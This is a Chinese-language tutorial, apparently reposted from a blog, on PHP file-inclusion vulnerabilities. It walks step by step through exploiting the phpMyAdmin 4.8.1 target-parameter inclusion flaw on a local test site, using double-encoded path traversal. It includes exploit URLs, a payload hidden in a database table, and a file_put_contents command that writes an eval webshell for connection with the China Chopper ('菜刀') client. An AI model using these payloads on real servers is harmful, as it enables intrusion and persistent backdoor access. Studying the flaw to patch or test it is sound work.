1、什么是文件包含
用一句话来说就是,文件包含不是漏洞,但是由于对包含进行的文件不可控,导致了文件包含漏洞的产生
文件包含分为两种
1、本地文件包含LFI (包含本地文件操控LFI)
2、远程文件包含RFI (需要添加默认php是不开启远程文件包含 开启需要配置allow_url_include = On
通过SMB也可以绕过
任意文件包含的函数
include(‘1.txt’) 加载某个文件内容当作php代码进行执行,它不在意后缀任何文件都可以包含,包括图片码
php运行到include然后去调用被包含的文件执行,如果文件包含不存在会报错,但是还是会往下执行
include_once 如果这个文件已经被包含过了就不会重复包含
require(‘1.txt’) 加载某个文件内容当作php代码进行执行,它不在意后缀任何文件都可以包含,包括图片码
php再运行前,就先去把被文件包含的内容提取出来然后整合成新的php一起执行,如果包含文件不存在就会报错也不会往下执行了
require_once 如果这个文件已经被包含过了就不会重复包含
文件包含是个功能只有当文件包含能够任意的操控它才能算个漏洞
实战演示、
需要条件
1、代码审计 、cms源码 phpMyAdmin-4.8.1-all-languages
2、后台账号密码
phpMyAdmin登录界面
登录前
登录后
开始、
通过seay源代码审计系统,全局搜索,include函数,搜索到include $_REQUEST[‘target’]; 看到这我觉得可以利用,
看源代码,它需要满足以下内容才能进入的 最后一步,我们想要它进入最后一步
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
第一个条件,有传参的时候返回true,没有传参的时候返回flase,满足第一个条件target要有传参
(! empty($_REQUEST['target'])
第二个条件,检测传参是否字符串,如果是返回true,我们要包含文件肯定是字符串,又不是数组,第二条满足
is_string($_REQUEST['target'])
第三个条件,index被正则过滤了,传参不能以index开头,满足
! preg_match('/^index/', $_REQUEST['target'])
第四个条件,传参值不能为这两个文件import.php’, 'export.php,第四条满足
! in_array($_REQUEST['target'], $target_blacklist)
第五个条件,右键追踪以下函数
Core::checkPageValidity($_REQUEST['target'])
我们可以看到有个白名单机制
经过审计只允许传参白名单里的内容,我们继续看其他条件,分析以下代码
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
分析第一个代码mb_substr() 函数返回字符串的一部分
意思是我们要截取$page传参里的值,从0开始截
分析第二个代码mb_strpos()返回要查找的字符串在别一个字符串中首次出现的位置
截取$page传参里的值 比如你传个a 会拼接成 (a?) 读取第一个(?) 意思是截取?前的一切
mb_strpos($page . '?', '?')
第五个条件要求?前的传参是白名单,列如sql.php
由于include它不能包含?,但是看到这里发现,它既然可以编码
既然可以编码那就有戏,我们构造语句 target=sql.php?/…/…/ 由于include不能出现?需要将?编码一次 target=sql.php%253f/…/…/1.txt 跳出当前目录进入到1.txt文件 %25是%编码后的样子
成功执行了,读取了1.txt的内容
我们确定了漏洞的存在,但是目标机器他不可能有个1.txt文件和一句话在里面给我包含吧,再mysql数据库中里有个data文件,以下图片对比一下发现文件都是一模一样的,那我们是不是可以在数据库做手脚呢?
经过测试,在wsh数据库里的fenshu表里面加个一句话字段,也可以直接建立一个库写入一句话的,但如果真实站点容易被发现,写在字段里隐秘一点
加入成功,构造语句执行一下
http://127.0.0.1/php/?target=sql.php%253f/../../../mysql/data/wsh/fenshu.frm&&8=phpinfo();
分析一下语句
?target=sql.php
%253f/ 这是?编码
…/ 跳回原本目录 (原本目录C:\www\WWW\php)
…/ 跳出php目录 (C:\www\WWW)
…/ 跳出www目录( C:\www)
mysql/ 进入到mysql目录 (C:\www\MySQL)
data/ 进入到data目录 (C:\www\MySQL/data)
wsh/ 进入到wsh目录 (C:\www\MySQL/data/wsh)
fenshu.frm&&8=phpinfo(); // 包含fenshu.frm (&&这是连接符 可以传递两个参数)
任意文件包含成功执行。
要想连接菜刀,需要写入一个文件才能连接,http://127.0.0.1/php/?target=sql.php%253f/…/…/…/mysql/data/wsh/fenshu.frm&&8=file_put_contents(‘qqq.php’,’<?php eval($_REQUEST[8])?>’);,qqq.php它会写入当前php目录下,
成功写入,并且执行了
菜刀成功连接
测试结束
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)